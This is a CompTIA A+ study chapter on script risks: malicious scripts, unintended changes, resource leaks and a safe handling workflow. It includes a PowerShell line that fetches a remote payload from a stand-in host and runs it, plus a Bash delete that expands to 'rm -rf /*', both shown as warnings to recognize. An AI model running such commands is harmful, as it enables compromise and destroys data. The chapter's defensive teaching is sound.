Sub topic 8
Script risks and safe handling
This chapter assumes you can read a short batch, PowerShell, Bash or Python script. It also assumes you know what a file path, a permission and an environment variable are. The earlier chapters covered syntax. This one covers what can go wrong when a script runs, and the habits that keep a technician out of trouble. The A+ Core 2 exam lists three risks by name: malware, system or setting changes made by accident, and mishandling of resources. Each one is covered below, followed by a safe workflow.
Why scripts carry risk
A script runs with the permissions of whoever launches it. If a technician runs a script from an administrator account, every line in it can change the system as that administrator. There is no confirmation step unless the author wrote one. A script also runs fast and repeats its actions exactly. A mistake that would hurt one file by hand can hurt ten thousand files in seconds.
For that reason, treat any script you did not write as untrusted code until you have read it.
Risk 1: Malware delivered as a script
Attackers like scripts for three reasons. Script files are plain text, so they are easy to hide inside email attachments, downloads and shared folders. Interpreters such as PowerShell, cmd.exe and Python are already installed, so nothing extra has to be dropped on the machine. Script-based attacks may also leave less on disk than a traditional executable.
Common ways a malicious script reaches a machine:
- An email attachment with a
.bat,.ps1,.vbsor.jsextension, or a document with a macro that launches one. - A "fix" pasted from a forum or web page that tells you to copy a command into a terminal.
- A script on a shared drive that someone with write access has altered.
- A downloaded installer that quietly runs a script during setup.
Typical malicious behavior includes downloading more malware, creating a hidden administrator account, disabling antivirus, and copying data to an outside server. A script that looks harmless can pull a second stage from the internet, so the visible code is not always the whole story.
Warning signs in a script
- Commands that download content and run it immediately.
- Text that has been encoded or scrambled so it cannot be read, such as a long Base64 string passed to an interpreter.
- Commands that turn off security tools or change the firewall.
- Commands that create users or change group membership.
- Web addresses or IP addresses you do not recognize.
The PowerShell line below shows the first two warning signs together. It is shown only so you can recognize the pattern. Do not run it.
# Pattern to recognize, not to run: download text from a web address and run it at once
Invoke-Expression (Invoke-WebRequest -Uri "http://example.invalid/payload.txt").ContentBecause the downloaded text is never saved or reviewed, nobody gets a chance to read it first.
Risk 2: Unintended system or setting changes
Most script damage comes from honest mistakes, not malware. A script can change things the author never meant to touch.
Common causes:
- Wrong target. The script runs against the wrong folder, drive or computer.
- Unquoted or empty variables. A variable that is empty can turn a narrow command into a broad one.
- Wildcards. A pattern like
*matches more than expected. - Wrong account. A script written for a test machine runs on a production server.
- Persistent settings. Changes to the registry, startup items, services or environment variables outlive the script and affect later sessions.
The Bash example below shows how an empty variable causes harm. It is shown as a warning and is not safe to run.
#!/bin/bash
# DANGEROUS: if $target is empty, this becomes "rm -rf /*"
target=""
rm -rf "$target"/*Here the quotes do not save you, because the pattern /* still expands to everything under the root directory. A safer version checks the variable first and stops on error:
#!/bin/bash
set -u # treat unset variables as errors
target="${1:-}"
if [ -z "$target" ] || [ ! -d "$target" ]; then
echo "Usage: $0 <existing folder>" >&2
exit 1
fi
echo "About to delete files in: $target"
read -r -p "Type yes to continue: " answer
if [ "$answer" = "yes" ]; then
rm -rf -- "${target:?}"/*
fiThis version rejects an empty or missing folder and asks for confirmation. The ${target:?} form is a second safeguard that aborts if the variable is empty.
Environment variable and path surprises
Scripts often rely on environment variables such as PATH, USER or %USERPROFILE%. A script that works for you may fail or act differently under another account, because the variable holds a different value. A script that edits PATH can also cause a different program to run when you type a command, which is both a bug risk and a way for attackers to hijack commands.
Risk 3: Resource mishandling
A script can consume or lock resources and never release them. Examples:
- An endless loop with no exit condition that uses all of a CPU core.
- A loop that writes a log file without limit and fills the disk.
- A script that opens files, network connections or database sessions and never closes them.
- A mapped network drive or share left connected after the job ends.
- Many scripts started at once, each pulling data from the same server.
- Credentials written in plain text into a script or log, then copied somewhere with weaker protection.
The Python example below shows a loop that will never finish, followed by a version with a limit and a clean release of the file.
# Problem: this loop never ends and the log file grows until the disk is full
# while True:
# with open("log.txt", "a") as f:
# f.write("checking...\n")
import time
max_checks = 5
with open("log.txt", "a") as f: # the file closes automatically at the end of the block
for i in range(max_checks):
f.write(f"check {i + 1}\n")
time.sleep(1)Using a bounded for loop, plus a with block that closes the file, avoids both problems.
A safe handling workflow
Follow the same steps each time you run a script you did not write.
- Check the source. Know who wrote it and how it reached you. Prefer scripts from your own team or a vendor you trust, kept in a controlled location.
- Read it before running it. Open it in a text editor, not by double-clicking. Look for the warning signs above.
- Verify integrity. If a vendor publishes a hash or a digital signature, check it. A mismatch means the file changed.
- Test in a safe place. Use a virtual machine, a lab computer or a snapshot you can roll back, never a production machine first.
- Back up first. Take a backup or restore point before running anything that changes files, settings or the registry.
- Use least privilege. Run the script as a standard user unless it truly needs administrator rights. Do not leave an elevated session open afterward.
- Log and review. Record what ran, when and by whom, and check the output for errors.
- Keep secrets out. Do not store passwords in the script. Use a credential store or prompt for them at run time.
Platform controls that help
| Control | Platform | What it does |
|---|---|---|
| PowerShell execution policy | Windows | Sets whether scripts may run and whether they must be signed. It is a safety setting, not a security boundary. |
| Script signing | Windows | A digital signature proves who wrote the script and that it has not been altered. |
| User Account Control (UAC) | Windows | Prompts before an action that needs administrator rights. |
| File permissions (`chmod`) | Linux, macOS | A script cannot run directly until it has the execute bit set. |
| Standard user accounts | All | Limit what a script can change. |
| Antivirus and endpoint protection | All | Scans scripts and blocks known bad behavior. |
The execution policy deserves care. You can inspect it with Get-ExecutionPolicy. Changing it to allow everything just to make one script run removes a protective layer for every later script too. The better fix is to sign the script or run it under a narrower scope.
Reading questions on the exam
Exam scenarios often describe a symptom and ask for the likely cause or best action. Use these pairings:
- A user ran a script from an email and now security tools are off: malware, so isolate the machine and run a scan.
- A cleanup script deleted the wrong folder: unintended changes, caused by a bad path or variable. Restore from backup.
- A server slows down and its disk fills after a script runs: resource mishandling, such as an endless loop or unbounded log.
- You must run a new script on a production server: test first in a safe environment, with a backup in place.
Common mistakes to avoid
- Running a script as administrator "just in case."
- Assuming a file is safe because its extension looks familiar. Extensions can be hidden or faked, such as
report.pdf.bat. - Trusting a script because it came from a coworker's account. Accounts can be compromised.
- Skipping the backup because the change "looks small."
- Leaving test or debug code in a script that later runs in production.
Exercise
A technician receives an email with a file named invoice.pdf.ps1 and is asked to run it as administrator to "view the invoice." Name the risk category, explain what is suspicious, and list the steps the technician should take instead.
Show answer
The risk is malware delivered as a script. The real extension is .ps1, a PowerShell script, hidden behind a fake .pdf in the name. A genuine invoice would not need administrator rights or a script to be viewed. The technician should not run it. Instead, report it to the security team, delete or quarantine the message, and scan the machine if it was opened. If the contents must be examined, read the file as text in an editor or open it only inside an isolated virtual machine with no access to the network.
Exercise
A cleanup script sets a variable to a folder path read from a settings file, then runs a recursive delete on that variable plus a wildcard. After a settings file error, the variable is empty and critical files vanish. Which risk is this, and what two changes to the script would prevent it?
Show answer
This is an unintended system change. Prevent it by checking that the variable is not empty and that the folder exists before deleting, and by exiting with an error if either test fails. Adding a confirmation prompt, treating unset variables as errors (set -u in Bash), or taking a backup first are also valid safeguards.